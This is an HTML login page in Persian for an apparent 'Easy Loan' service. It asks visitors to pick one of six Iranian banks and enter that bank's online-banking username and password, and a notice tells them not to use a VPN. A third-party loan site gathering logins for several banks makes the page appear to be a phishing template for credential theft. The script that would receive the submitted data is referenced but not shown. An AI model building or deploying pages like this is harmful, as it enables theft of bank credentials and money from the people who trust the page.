<!DOCTYPE html><html lang="fa" dir="rtl"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ورود با حساب بانکی | وام آسان</title>
<link rel="stylesheet" href="css/all.min.css">
<link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="container">
<!-- Header with New Navigation -->
<header>
<div class="header-content">
<div class="logo-container">
<div class="logo-img">
<i class="fas fa-crown"></i>
</div>
<a href="/" class="logo-text">وام آسان</a>
</div>
</div>
</header>
<!-- Login Form -->
<div class="login-container">
<h1 class="login-title">ورود با حساب بانکی</h1>
<div class="login-form">
<div class="form-group">
<label class="form-label">انتخاب بانک</label>
<div class="bank-selector">
<div class="bank-option" data-bank="saderat">
<div class="bank-logo">
<img src="images/Saderat.png" alt="بانک صادرات ایران">
</div>
<span class="bank-name">صادرات</span>
</div>
<div class="bank-option" data-bank="melli">
<div class="bank-logo">
<img src="images/Meli.png" alt="بانک ملی ایران">
</div>
<span class="bank-name">ملی</span>
</div>
<div class="bank-option" data-bank="mellat">
<div class="bank-logo">
<img src="images/Melat.png" alt="بانک ملت">
</div>
<span class="bank-name">ملت</span>
</div>
<div class="bank-option" data-bank="sina">
<div class="bank-logo">
<img src="images/Sina.png" alt="بانک سینا">
</div>
<span class="bank-name">سینا</span>
</div>
<div class="bank-option" data-bank="sepah">
<div class="bank-logo">
<img src="images/Sepah.png" alt="بانک سپه">
</div>
<span class="bank-name">سپه</span>
</div>
<div class="bank-option" data-bank="tejarat">
<div class="bank-logo">
<img src="images/Tejarat.png" alt="بانک تجارت">
</div>
<span class="bank-name">تجارت</span>
</div>
</div>
</div>
<div class="form-group">
<label for="username" class="form-label">نام کاربری</label>
<input type="text" id="username" class="form-input" placeholder="نام کاربری خود را وارد کنید">
</div>
<div class="form-group">
<label for="password" class="form-label">کلمه عبور</label>
<input type="password" id="password" class="form-input" placeholder="کلمه عبور خود را وارد کنید">
<button type="button" class="password-toggle" id="togglePassword">
<i class="far fa-eye"></i>
</button>
</div>
<button type="submit" class="login-button" id="loginButton" disabled="">ورود به حساب</button>
<div class="forgot-password">
<a href="/forgot-password" class="forgot-link">راهنما</a>
</div>
</div>
<div class="security-notice">
<i class="fas fa-shield-alt"></i>
کاربر گرامی به منظور حفظ امنیت، از استفاده همزمان از فیلترشکن خودداری فرمایید
</div>
</div>
</div>
<script src="js/script.js"></script>
</body></html>